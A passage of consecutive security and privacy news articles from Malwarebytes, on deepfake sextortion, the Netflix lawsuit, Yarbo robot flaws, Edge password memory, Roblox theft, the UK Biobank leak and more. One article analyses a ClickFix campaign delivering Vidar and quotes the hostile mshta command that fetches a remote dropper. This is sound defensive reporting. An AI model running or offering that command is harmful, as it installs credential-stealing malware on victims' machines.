The domains and infrastructure involved in these redirects are operated outside Malwarebytes, and their configuration or behavior may change over time. We are actively monitoring telemetry, sandbox reports, and reputation data for these domains and related infrastructure, and we will adjust our detections if new information emerges.
Our priority is to keep users safe while being transparent about why protection events occur, especially in widely used services such as webmail. If we learn more about the exact role of this component within Yahoo Mail, or if Yahoo provides additional clarity, we will update this article accordingly.
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Schools love a good photo, whether it’s from a trip to a castle, a science prize ceremony, or sports day shot from three angles. For two decades, celebratory images like these have gone straight onto school websites, captioned with a name and a grade. But those days are gone, because it’s the internet in 2026 and we can’t have nice things.
As first reported by the Guardian, experts are now urging schools to take those pictures down. According to the UK’s National Crime Agency, the Internet Watch Foundation, and an advisory body called the Early Warning Working Group (EWWG), blackmailers have been scraping ordinary school photos, feeding them through AI deepfake tools to manufacture child sexual abuse material (CSAM), and demanding payment to keep the images offline.
One school, 150 images
Late last year, cybercriminals contacted an unnamed UK secondary school with that demand. The IWF classified 150 of the resulting images as CSAM under UK law and generated digital fingerprints for each image so major platforms could block reuploads.
The IWF isn’t naming the school or the police force, and it doesn’t believe this was an isolated case. The EWWG says it’s “only a matter of time” before more schools face similar demands.
UK safeguarding minister Jess Phillips called it a “deeply worrying emerging threat.” In February 2025, the UK became the first country to ban AI tools designed specifically to generate CSAM.
How we got here
This threat didn’t appear overnight, and it isn’t limited to the UK. It’s an evolution of a long-time threat: sextortion, when someone uses intimate images to blackmail you. Traditionally, sextortion relied on real intimate images that were stolen or shared, but deepfake AI has changed everything.
The FBI’s Internet Crime Complaint Center (IC3) logged more than 16,000 sextortion complaints in the first half of 2021, with losses exceeding $8 million. By June 2023, the bureau warned the playbook had shifted: attackers were using ordinary social media photos to create fake explicit images and extort minors.
UK children’s counseling helpline Childline has seen similar shifts as deepfake tools become more accessible. It already logs many sextortion cases each year, many from kids who were manipulated into sharing intimate images of themselves. Now, the organization is getting calls from children who are being sent deepfake CSAM images of themselves without any prior contact.
One 15-year-old girl, for example, was sent a “really convincing” fake nude built from her Instagram photos.
By November 2025, IWF reports of AI-generated CSAM had more than doubled year over year, rising from 199 to 426. Girls accounted for 94% of the victims. Reported cases included children ranging from newborns to two-year-olds, according to the organization.
The ecosystem around these tools is industrial. In April 2025, a researcher found an exposed AWS S3 bucket belonging to South Korean “nudify” app GenNomis containing 93,485 AI-generated images alongside the prompts that produced them.
What the schools are being told
The EWWG’s advice is to replace close-up, identifiable photos with images taken from a distance, blurred images, or photos shot from behind. It also advises schools to remove full names from captions, audit existing images, and ask parents to re-sign consent forms.
In fact, it advises schools to rethink whether they need to publish children’s photos online at all.
Some schools have already acted. According to the Guardian, Loughborough Schools Foundation, a group of three private schools sharing a website, removed recognizable pupil images entirely last year.
The UK Information Commissioner’s Office (ICO) says that it “would still generally expect you to offer an opt-out to parents” when publishing an identifiable photo of a child, but says this isn’t legally the same as consent, which has a higher bar.
Things get murkier in the US, where states often have their own student privacy statutes. Broadly, though, under the Family Educational Rights and Privacy Act (FERPA), schools typically include identifiable photos of students under the category of directory information. This category also covers name, address, telephone listing, date and place of birth, participation in officially recognized activities and sports, and dates of attendance.
Under FERPA, schools can publish this type of information unless the child’s guardian specifically opts out. They have to notify a guardian when they want to publish it, but that process may not apply indefinitely after a student leaves the school.
That means student photos and information can remain online long after families assume they have disappeared.
What happens next
Back in the UK, Childline’s Report Remove service allows children to flag explicit images or videos of themselves that have been posted online. The service took 394 blackmail reports from under-18s last year, up by one-third compared to 2024.
Meanwhile, the UK government is amending the Crime and Policing Bill, forcing platforms to take flagged intimate images down within 48 hours or face fines of 10% of global revenue.
We anticipate a race between regulators and AI-enabled cybercriminals. Right now, attackers still have to manually find the photos themselves. The concern is that this process could soon become automated, allowing criminals to scrape names and photos from school websites and social media platforms at scale.
Attorney General (AG) of Texas Ken Paxton announced that he sued Netflix for spying on Texans, including children, and collecting users’ data without their knowledge or consent.
The suit alleges Netflix secretly tracks and monetizes detailed viewing behavior of users, including children, while misleading users about its data practices. The case could reshape how Netflix collects data, targets ads, and designs “addictive” features, especially for minors.
According to the complaint, Netflix allegedly ran what the AG’s office calls a “surveillance program,” turning every click, pause, and binge session into data that could be sold to advertisers and data brokers.
Netflix firmly denies the accusations, calling the lawsuit “inaccurate” and claiming it complies with privacy laws wherever it operates. Spokesperson Jamil Walker said:
“The suit lacks merit and is based on inaccurate and distorted information.”
But regardless of how this specific case plays out, the lawsuit raises a bigger question for all subscribers: Just how much does your streaming service really know about you, and what does it do with that information?
The Texas complaint paints a picture of Netflix as a data company first and a streaming service second. Paxton’s office even describes Netflix as:
“A logging company that records and monetizes billions of behavioral events—and occasionally streams movies.”
The complaint also references a 2024 ruling by the Dutch Data Protection Authority, which said Netflix does not disclose the true scale or granularity of this data collection. The lawsuit claims Netflix did not just use this data internally for recommendations but also sold it to commercial data brokers and ad tech companies, generating “billions of dollars” annually.
The AG wants to stop the unlawful collection and disclosure of user data, require Netflix to disable autoplay by default on kid’s profiles, and impose other injunctive relief and civil penalties.
For customers, the main consequences could include potential changes to data collection, targeted advertising, autoplay defaults, and clearer consent and privacy controls. For subscribers on Netflix’s ad‑supported plans, this could slightly change how “personal” ads feel, at least in jurisdictions where regulators clamp down.
Plus, the lawsuit serves as a reminder that streaming habits may be far more trackable than users assumed. Even if Netflix ultimately wins or settles without admitting wrongdoing, the lawsuit puts a spotlight on what the company collects and why.
Netflix privacy and account settings
It will probably take a while before this lawsuit leads to any changes. But there are a few things you can do to protect your privacy:
Where available, turn off non‑essential marketing emails or in‑app promotions that rely on behavioral profiling.
Use the parental controls Netflix offers you and turn off autoplay previews.
Basically, treat your Netflix account like any other online account: Review every profile, remove old ones, and take five minutes to walk through the privacy- and playback‑related options.
Scammers don’t need to hack you. They just need you to click once.
A researcher found that Yarbo yard robots came with a host of vulnerabilities which, among others, allowed an attacker to harvest WiFi passwords.
Security researcher Andreas Makris found he could remotely hijack thousands of Yarbo yard robots worldwide, and proved it by having his mower run him over. The root cause was a cluster of “legacy” design choices: every robot shared the same hardcoded root password, remote tunnels were left open, and Message Queuing Telemetry Transport (MQTT) messaging was so weakly protected that once you had one device, you effectively had the worldwide fleet.
An attacker could pull GPS coordinates, email addresses, and Wi‑Fi passwords, turn cameras into remote spying tools, and even re‑arm the mower after someone hit the emergency stop.
All of this was enabled by a persistent backdoor tunnel that users could neither see nor meaningfully control. The risks fell into three very different buckets:
A heavy mower with remotely controllable blades and an emergency stop that can be bypassed is a real-world safety hazard.
Exposed telemetry meant attackers could map where devices were, see who owned them, and in some reports even view camera feeds.
Network abuse through shared root credentials meant compromised robots could scan local networks, steal more data, or be folded into a botnet.
Yarbo’s public response is unusually detailed for a consumer Internet of Things (IoT) vendor. It’s also refreshingly blunt in admitting that the researcher’s core findings were accurate. The company temporarily disabled the remote diagnostic tunnels, reset root passwords, locked down unauthenticated endpoints, and began ripping out unnecessary legacy access paths.
More importantly, Yarbo promises structural changes:
Unique per‑device credentials.
Over-the-Air (OTA) credential rotation.
Audited, allowlist‑based remote diagnostics.
Dedicated security contact, with a possible bug bounty to follow.
That is the sort of long‑term security hygiene we rarely see spelled out this clearly after an IoT fiasco.
From a disclosure and remediation standpoint, Yarbo is doing many things right: crediting the researcher, apologizing, prioritizing fixes, and explaining both short‑term patches and long‑term architectural changes in human language. For buyers of connected devices with blades, that level of transparency is a positive precedent.
But Yarbo has explicitly chosen to keep a remote access tunnel, although wrapped in better controls and logs, instead of offering users the option to remove or fully opt out of it.
How to secure IoT devices
The vulnerabilities uncovered in the Yarbo case present an almost a live-action demo of what the IoT CybersecurityImprovement Act is trying to prevent in US government deployments. While the Act doesn’t apply to Yarbo directly, its National Institute of Standards and Technology (NIST)-driven requirements map neatly onto what went wrong here.
So, it’s still up to users to make sure you:
Change the default credentials.
Check if the vendor will make updates available and how easy it is to install them before buying an IoT product. And then install the updates when available.
If you can, put your IoT devices on a separate network. Use a guest Wi‑Fi or separate VLAN when available.
Disable what you don’t need. Turn off UPnP, remote access, cloud control, and unnecessary services if you’re not actively using them.
If your router or security suite logs connections from IoT devices, skim those logs for odd spikes or unknown destinations.
Let’s face it, an incognito window can only do so much.
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In that article we mentioned the importance of encryption.
“With a browser password manager, someone with access to your browser could see your passwords in clear text, although Windows can be set to ask for authentication (the same you use at startup of your device).”
The typical behavior of browser password managers is to store passwords encrypted on disk, tied to your user account, and protected by the operating system.
But recently, a security researcher systematically tested every major Chromium-based browser for how they handle credentials in memory. The researcher found that Edge was the only one loading the entire password vault into plaintext process memory at startup, where it remains for the duration of the session.
Chrome and other Chromium browsers were observed to only decrypt a password when needed (autofill or “show password”), not the whole vault, and to use mechanisms like app‑bound encryption for keys. Edge does not use those protections in this context.
So, the researcher decided to write a proof-of-concept (PoC) demonstrating that accessing that vault doesn’t rely on zero-days or complex exploitation. It relies on the relatively simple ability to read process memory, which does require elevated privileges.
But when the researcher reported the issue to Microsoft, the response was underwhelming. The company’s official response was that the behavior is “by design.” The reasoning most likely is that this behavior speeds up sign‑in and autofill, and attackers would already need a compromised machine or elevated access to read RAM, which Microsoft treats as out of scope for this design decision.
Which is basically true. An attacker already needs significant foothold: for example, code execution on the box and the ability to read Edge’s process memory, often requiring elevated privileges. This is not a remote, unauthenticated bug in the browser, but the design makes post‑compromise credential harvesting easier. And it’s a capability many infostealers already have.
It’s just another thing an attacker can do once they’ve compromised your machine. Combined with this academic study from 2024, which found many password managers leak plaintext passwords into memory under some conditions, it leads us to repeat our advice.
Should you allow your browser to remember your passwords?
Your browser password manager gives you ease of use, but that costs you some security. Of course, password managers aren’t foolproof either, so it’s important to decide for yourself where you store your passwords.
If you’re confident the website is safe, and anyone that can access it under your account won’t learn anything new, feel free to store the password in your browser, but disable autofill so you stay in control.
Use MFA where possible. It enormously reduces the risk should someone get hold of your password. And refrain from using the browser password manager to store your credit card details or other sensitive personally identifiable information, such as medical information.
But we’d add that, among the major browsers, Edge appears to be the weakest option if you still choose to use a built‑in password manager.
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The Online Safety Act came into effect in July, 2025, and the report explores what has changed in the online lives of UK families since then.
We discussed in December 2025 whether the privacy risks of age verification outweighed the enhanced child protection. While the report shows some progress, it mostly provides “an early view of how the online landscape is changing, and crucially, where it is not.”
Around half of children say they now see more age-appropriate content, and roughly four in ten parents and children feel the online world has become somewhat safer.
The online world is as much a part of a child’s environment as the physical world is. And blocking the view to parts of that world is not taken lightly. Almost half of children think age checks are easy to bypass. About a third admit to doing so recently, using tactics from fake birthdates and borrowed logins to spoofed faces and, less commonly, VPNs.
“I did catch my son [12] using an eyebrow pencil to draw a moustache on his face, and it verified him as 15 years old.”
Yet 90% of children who noticed improved blocking and reporting saw this as a good thing. Their support for these safety features is pragmatic. They point to:
clearer rules
restricted contact with strangers
limits on high-risk functions
They also rate these features as helpful in reducing exposure to harmful content and interactions.
But the system is not perfect. In the month after the child protection codes came into force, almost half of children reported some online harm, including violent, hateful, and body image-related content that should be covered by the Act’s protections.
The survey also revealed that age checks are now commonplace. Over half of children said they were asked to verify their age within a recent two-month window, often on major platforms like TikTok, YouTube/Google, and Roblox, on both new and existing accounts.
The technology is improving. Platforms use facial age estimation, government ID, and third-party age assurance apps, and these are usually easy for children to complete.
However, gains in protection come with unresolved and, in some cases, growing concerns around privacy and data use, especially around age verification and AI.
Parents are worried not just about what data is collected for age checks, but whether it will be stored or reused by government or industry. This has fueled calls for central, privacy-protective solutions rather than fragmented data collection across platforms.
Because age assurance systems are both intrusive (in terms of data) and often ineffective (easy workarounds, weak enforcement), the report suggests they may not yet provide a good safety-to-privacy trade-off from a family perspective.
Obviously, the survey also didn’t capture input from adults pretending to be children to gain access to child-only spaces, a risk that parents link directly to predatory behavior.
The authors conclude that the Online Safety Act has started to reshape children’s online environments, making safety features more visible and enabling more age‑appropriate experiences in some areas.
However, the Act has not yet produced a “step change.” Harmful content remains widespread, age‑assurance is patchy and easy to circumvent, and key concerns such as time spent online, AI risks, and persuasive design remain under‑regulated.
Browse like no one’s watching.
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Ukrainian police arrested three individuals in Lviv who allegedly orchestrated one of the largest Roblox account theft operations to date. Between October 2025 and January 2026, the hacking group is said to have compromised over 610,000 Roblox accounts, including at least 357 high-value “elite” accounts, making around $225,000 from selling access to them.
The hackers distributed infostealing malware disguised as game-enhancement tools, harvested login credentials from infected devices, and sold accounts through a Russian website and closed online communities based on their value.
This operation targeted Roblox accounts because they hold significant monetary value for many users. Accounts can contain high Robux balances, limited-edition items that can no longer be obtained, years of gaming progress with achievements and unlocks, and paid access to premium content.
Roblox account recovery
If you recently downloaded any suspicious game enhancements or other Roblox-related software, your first priority is to run a full system anti-malware scan.
If the hackers changed your password and you’re unable to log in, use the password recovery option on the Roblox login page by clicking “Forgot Password or Username?”. Enter the email address associated with your account and check your inbox (including spam folders) for the reset link.
After recovering access, immediately terminate all active sessions to prevent hackers from maintaining access through stolen cookies. Go to Settings > Security and click Log out of all other sessions at the bottom of the page. This ensures that anyone who had unauthorized access can no longer use your account.
If you’ve been completely locked out—because hackers have changed both your password and recovery details—contact Roblox Support immediately. Visit the Roblox support page and provide as much detail as possible. They may ask for:
Your account username (this is crucial for identification).
The original email address used to create the account.
Payment information or purchase receipts showing Robux transactions.
The approximate date and time of the compromise.
Screenshots showing account details before the compromise, including creation date.
Your previous account settings or any other details that prove ownership.
Roblox explicitly states that, unless required by law, it is under no obligation to restore compromised accounts. It does not guarantee that accounts will be returned to their previous state or that lost virtual items and currency can be recovered. Only in very limited circumstances may Roblox offer the ability to recover lost inventory or its approximate value. It’s important to note that you must contact Roblox within 30 days of the compromise if you want assistance recovering lost items or currency. The support process typically takes 2–5 days.
There are a few steps that make it harder for someone to steal your Roblox account:
Verified email address. Ensure your account has a verified email address that you actively monitor. This helps you spot unauthorized password or email changes quickly.
Use unique passwords. Never reuse passwords across different accounts. If one is exposed elsewhere, attackers will try it on other platforms, including Roblox. Your Roblox password should be completely unique and stored securely. A password manager can help you with both.
Don’t share access. Never share your password with anyone, even with people claiming to be friends. Your account credentials should belong only to you (and your parents if you’re a minor). Roblox staff will never ask for your password.
Be wary of game enhancements, hacks, cracks and keys. The hackers in this case specifically distributed malware disguised as game-enhancement tools. Be extremely cautious about downloading any third-party programs, cheats, exploits, or tools that claim to improve your Roblox experience. These are often vehicles for credential theft and account compromise.
Keep software updated. Keep all the software on your device up-to-date, so you’re protected against the latest known exploits.
Use anti-malware. Run up-to-date, real-time anti-malware software to protect your device against information stealers and other malware.
Let’s face it, an incognito window can only do so much.
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Half a million Britons signed up to help cure cancer. Their data ended up for sale on Alibaba.
The UK Biobank charity informed the British government of an incident concerning the medical data belonging to 500,000 British citizens being offered for sale on the Chinese e-commerce website Alibaba.
The National Data Guardian, Dr Nicola Byrne, said in a statement:
“People who generously share their health data to benefit others through medical research rightly expect it to be kept safe and for there to be accountability when things go wrong.”
Officials said the researchers downloaded the data under a legitimate contract, but its appearance on Alibaba shows how “approved” access can still turn into public exposure.
UK Biobank holds more than 15 million biological samples and detailed health records from volunteers recruited between 2006 and 2010, and researchers worldwide use it to study cancer, dementia, diabetes, and other chronic diseases.
UK Biobank normally signs contracts with vetted universities and private companies before it lets them access the data, but investigators traced the Alibaba listings to three research institutions. UK Biobank revoked their access and paused new data access while it strengthens security controls.
At least one listing reportedly contained data on all 500,000 volunteers, and Alibaba and Chinese authorities removed the adverts before anyone could confirm a sale.
The dataset comes from UK Biobank’s long‑running research cohort and includes genetic sequences, blood samples, medical imaging, and detailed lifestyle information used for global health research.
UK Biobank emphasizes that the data was “de‑identified,” meaning it didn’t include names, addresses, or NHS numbers. But it still contained granular demographics, such as gender, age, birth month/year, socioeconomic indicators, lifestyle details, and health measures. We have repeatedly seen that such data can be re‑linked to individuals by cross‑referencing with other public or commercial records.
Why China cares
US intelligence, policy reports, and academic work paint a consistent picture: China treats large, diverse human genomic and health datasets as a strategic resource for both economic and security reasons.
The US National Counterintelligence and Security Center (NCSC) explicitly states that the People’s Republic of China views bulk healthcare and genomic data as a “strategic commodity” to drive its biotech, AI, and precision medicine industries, and has invested billions in national genomics and precision‑medicine initiatives.
Large datasets from non‑Chinese populations are particularly valuable for building AI models and improving the global commercial competitiveness of Chinese pharma and biotech.
From an attacker’s or foreign intelligence perspective, UK Biobank is a “crown jewel” asset: It’s curated, high‑quality, population‑scale, and much more useful than random breach dumps. And because genetic data is immutable (unlike a password, it cannot be replaced), any compromise has very long‑term intelligence usefulness.
Last year, the Guardian reported that one in five successful UK Biobank access applications came from Chinese entities, including BGI, China’s flagship genomics company that was later placed on the US Entity List over concerns about its role in surveillance of minority populations.
China is not just stockpiling DNA for curiosity’s sake. It is building a global genomic map that covers adversaries as well as its own citizens.
Your genome data
There have been major concerns about genetic data ending up in the wrong hands, and for good reason. But I’m not going to say that volunteering your medical data for research is bad. Researchers often put the data to good use to help others.
But there are some good questions to ask before doing so.
Who runs the project and where is it based? Prefer non‑profit or academic biobanks with clear public‑interest mandates and strong oversight, rather than opaque commercial data brokers.
How do they store the collected data? Ask specifically about genomic data, raw sequencing files, links to medical records, and whether data is encrypted at rest and in transit.
Who can access the data and under what controls? Look for a formal access committee, strict contracts, and technical controls like secure analysis environments and limited export options, not “download CSV and walk away” models like the one that enabled the UK Biobank incident.
Are foreign entities allowed to access or copy the data? In light of US and UK government warnings about Chinese access to Western genomic data, it’s reasonable to ask whether data can be accessed, processed, or stored in jurisdictions with different security expectations.
How do they handle re‑identification risk? As we’ve discussed, “de‑identified” is not a magic word. Privacy experts and US intelligence have warned that health and genomic data can often be re‑identified when combined with other datasets.
If data containing your DNA is in someone else’s hands, you can’t put it back, but you can demand better governance, push institutions to treat genomic data as national‑security‑grade sensitive.
It also requires more skepticism of highly targeted scams. Attackers can use large combined datasets to craft convincing spear‑phishing or health‑related scams, for example, contacting you about a specific condition you or a family member has. Treat unsolicited health or DNA‑related emails, calls, and apps with extra suspicion.
What do cybercriminals know about you?
Use Malwarebytes’ free Digital Footprint scan to see whether your personal information has been exposed online.
If you use the internet, you’ve likely been affected by cybercrime in some way. Even when an attack is aimed at a company, the fallout usually lands on ordinary people.
The most obvious harm is stolen data. When attackers break into a business, it is usually customer information that ends up in criminal hands, and that can lead to identity theft, tax fraud, credit card fraud, and a long tail of scam attempts that can continue for months or years. For consumers, the breach itself is often just the start of the cleanup.
That work is annoying, time-consuming, and sometimes expensive. People may have to freeze credit, replace cards, change passwords, be on the lookout for suspicious transactions, and dispute charges. The Federal Trade Commission (FTC) specifically advises consumers to use IdentityTheft.gov after a breach and recommends steps like credit freezes and fraud alerts to reduce the chance of further abuse.
When sensitive data is exposed, the harm is not only financial. Medical, insurance, and other deeply personal records can be used to create more convincing phishing or extortion attempts, and the stress of knowing that private information is circulating among criminals can linger long after the technical incident is over. In other words, breach victims are not just cleaning up a data problem, they are dealing with a loss of trust.
Breaches happen every day. Don’t be the last to know.
Cybercrime also hits consumers through service disruption. Ransomware and intrusion campaigns can interrupt payment systems, telecom services, shipping, energy distribution, booking platforms, and other infrastructure people rely on every day. In those cases, the consumer impact is immediate: you may not be able to pay, travel, call, buy, or even work normally. The CSIS timeline and Canada’s cyberthreat assessment both show that these disruptions are increasingly tied to high-value targets and can be part of broader state or criminal campaigns.
Not all these incidents are driven by cybercriminals. Recently, Britain’s cybersecurity chief warned that the UK is handling 4 nationally significant cyberincidents every week, with the majority now traced back to foreign governments rather than cybercriminal groups.
Another cost is easy to overlook: disinformation and confusion. When attackers steal data, disrupt services, or impersonate trusted brands, they can also flood the public with fake support messages, scam calls, refund schemes, and phishing emails pretending to be the breached company. The breach becomes a launchpad for more fraud, and consumers are left trying to separate legitimate notifications from those sent by attackers.
Then there is the security backlash. After a breach, companies usually tighten access rules, add more multi-factor authentication prompts, force reauthentication, shorten sessions, and increase fraud checks. Those measures are often necessary, but they also make ordinary digital life more cumbersome. The consumer ends up paying with time and frustration for security problems they did not create.
That is why company-targeted cybercrime is not really only a business problem. It is a consumer issue, a public-trust issue, and sometimes even a national security issue. A single breach can leak data, trigger fraud, interrupt essential services, amplify scams, and make using the internet more frustrating for everyone else. The real cost is rarely confined to the company that got hit.
Knowing this, it’s worth thinking carefully about which companies to trust with your data and how much you’re willing to share . You cannot stop every attack against every company you deal with, but you can limit the fallout by being more selective. Some considerations:
Do they need all the information they are asking for?
Would it hurt anything if you leave some fields blank or give less specific answers?
Has this company been breached in the past, and how did they handle it?
How long will they store the data you provide?
Can you easily have your data removed at your request?
Your name, address, and phone number are probably already for sale.
Data brokers collect and sell your personal details to anyone willing to pay. Malwarebytes Personal Data Remover finds them and gets your information removed, then keeps watch so it stays that way.
In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves.
Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains.
One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil.
What is Vidar?
Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets:
Browser-stored usernames and passwords
Cryptocurrency wallet information
Session cookies and authentication tokens
Autofill data and saved payment information
Files that may contain sensitive data
Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection.
Fake CAPTCHA: the never-ending story
When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page.
This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain.
The fake CAPTCHA message shown to the user.
The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case:
mshta https://{compromised website}/challenge/cf
Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns.
In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer.
HTA-based MSI dropper
The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware.
The script performs several operations:
The window is resized to 0x0 and moved off-screen, making the application invisible to the user.
The script terminates if the document.location.href doesn’t start with http.
The strings are decoded using XOR and a random key.
Through WMI queries, the script checks for installed antivirus products.
It creates hidden working folders in a random folder under \AppData\Local to drop the MSI file.
In the end, the script downloads the malicious MSI from a compromised website. The downloaded file must be larger than 100 KB to be considered valid. Finally, it removes the :Zone.Identifier alternate data stream.
The malicious HTA script.
In this case, the malicious MSI was downloaded using the following command:
The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader.
Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads.
In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed.
The custom action defined in the MSI.
The Golang loader decodes a shellcode that performs different anti-analysis checks, including:
CheckRemoteDebuggerPresent
IsDebuggerPresent
QueryPerformanceCounter
GetTickCount
After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory.
Analysis of compromised websites
The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases.
The malicious iframe injected into the compromised website.
The injected code has several functions, and the command used in the fake CAPTCHA attack is obtained from the /api/get_payload endpoint.
Code injected into the compromised websites.
Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites.
The injected script performs several actions:
Creates the file wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint /api/plugin.
Sends a heartbeat request every hour containing the domain name, site URL, WordPress version, and status.
During page loads (template_redirect), the script filters visitors based on User-Agent and targets Windows desktop visitors.
Requests /api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page.
The malicious code injected in the compromised WordPress site.
How to stay safe
Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference.
Slow down. If a webpage asks you to run commands on your device or copy and paste code, pause and think before following the instructions. Cybercriminals often create a sense of urgency with fake security checks, countdown timers, or warnings designed to make you act without thinking.
Never run commands from untrusted sources. A legitimate website should never require you to press Win+R, open Terminal, or paste commands into PowerShell just to verify you are human. If a page asks you to do this, treat it as suspicious.
Verify instructions independently. If a website tells you to execute a command or perform a technical action, check official documentation or contact support through trusted channels before doing anything.
Be cautious with copy and paste. Some attacks hide malicious commands in copied text. If you ever need to run a command from documentation, typing it manually can help reduce the risk of running hidden code.
Protect your device. Keep your operating system and browser updated and use security software that can block malicious websites and detect infostealer malware.
Stay informed. Techniques like fake CAPTCHA pages and ClickFix attacks continue to evolve. Knowing that attackers may try to trick you into running commands yourself can help you spot these scams before they succeed.
Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack.
Your Google Search history provides one of the most detailed windows into your private life, and I know this because when I looked at my own search history last year, I was overwhelmed by the information buried within.
Across just 18 months, Google tracked the 8,079 searches I made and the 3,050 websites I visited because of those searches. That included my late-night perusal of WebMD because of medical symptoms I’d looked up just seconds before, my tour of Goodwill donation sites as I searched for where to drop off clothes ahead of an upcoming move, and my ironically tracked visit to a Reddit thread titled “How do I delete most, if not all, of my info off of the Internet?” (One answer I learned: Don’t use Google Search.)
Google tracked my every question, concern, and flight of fancy—almost literally. On just one day in August 2025, Google recorded the seven flight searches I made on Google Flights and the six hotel searches I made on Google Travel.
Google also recorded the many questions and requests I made when researching topics for the Lock and Code podcast, which I host. And while all of that Google data made for an interesting investigation into what Google knows about me (which you can listen to below), it also made it clear that more people should know how to access this same information.
For most Google users, if Web & App Activity is turned on, Google is saving what they look up, what time they looked it up, and what websites they clicked on as a result. There are ways to turn that data tracking off, but the first step is to know where to look.
Here’s how to do that.
How to find your Google Search history
You can start by opening your web browser and signing into Google’s centralized hub for your data online at myactivity.google.com.
The My Google Activity home page
Once logged in, you’ll see the above welcome screen with quick settings that you can change, if you want to. Those settings are different for some users, but may include:
Web & App Activity
Timeline
Play History
YouTube History
Further down on the page, you can browse through your Google Search history. (Our screenshot gallery below can help walk you through the steps.)
First, look for the search bar in the welcome screen that says Search your activity.
Right below, you will find the words Filter by date & product. These words are clickable. Click them.
Once you’ve clicked Filter by date & product, you’ll see a pop-up menu where you can look through your Google activity by date or product. Instead of focusing on the date, scroll down through the list of Google products and check the box for Google Search.
Press Apply.
Find the search bar in the My Google Activity homepage
Click on the words “Filter by date & product”
Scroll down through the list of items until you find Google Search
Click on the Google Search checkbox and click “Apply”
After you press Apply, you’ll be taken to a webpage that lists your Google Search history in reverse chronological order, showing you your most recent activity first. As you scroll down, you can find older activity. You can also use the search bar at the top of the page to look for individual pieces of activity, like a search or series of searches that you previously made.
From here, you can also delete individual Google Search entries so that Google no longer stores that data. This will only apply to the individual search you made.
You can delete individual searches by clicking the “X” button in the top right corner of each search record
Confirm your deletion by pressing “Delete”
Your search is now no longer tied to your overall Google activity
If you want to better protect your privacy, making targeted deletions from your Google Search history is a difficult, lengthy, and imperfect method. Instead, you can simply tell Google to stop recording any of your searches from now on.
How to turn off Google Search history
There’s a simple way to instruct Google to stop saving your online searches to your Google Account, and it takes just a few clicks. Follow the instructions below, along with the image gallery, for guidance.
Go to your My Google Activity homepage (this is the same page you saw when first signing into myactivity.google.com)
Click on that quick control button we saw earlier: Web & App Activity
From here, you will see a new screen with the title Activity Controls
Find the button that says Turn off and click it
Choose between Turn off and Turn off and delete activity
Find the “Turn off” button from the Activity Controls webpage
You can choose one of two options for turning off your data
With one click, you can stop Google from recording your activity
If you selected Turn off, you’re done. Google will no longer save your Google Searches as part of your overall Google profile activity. This option means that Google still has your prior searches recorded, though. So, if you want, you can choose the second option, Turn off and delete activity.
When you select that option, Google will walk you through additional steps to choose what types of data you want erased, such as past activity tied to Google Search, Maps, Ads, Image Search, Google Play Store, Help and other services. All of these options reveal just how many products and pipelines Google has built to vacuum up your data.
Don’t be overwhelmed, though. Go through the list at your own pace and start making decisions about your data that are right for you.
We don’t just report on data privacy—we help you remove your personal information
Cybersecurity risks should never spread beyond a headline. With Malwarebytes Personal Data Remover, you can scan to find out which sites are exposing your personal information, and then delete that sensitive data from the internet.
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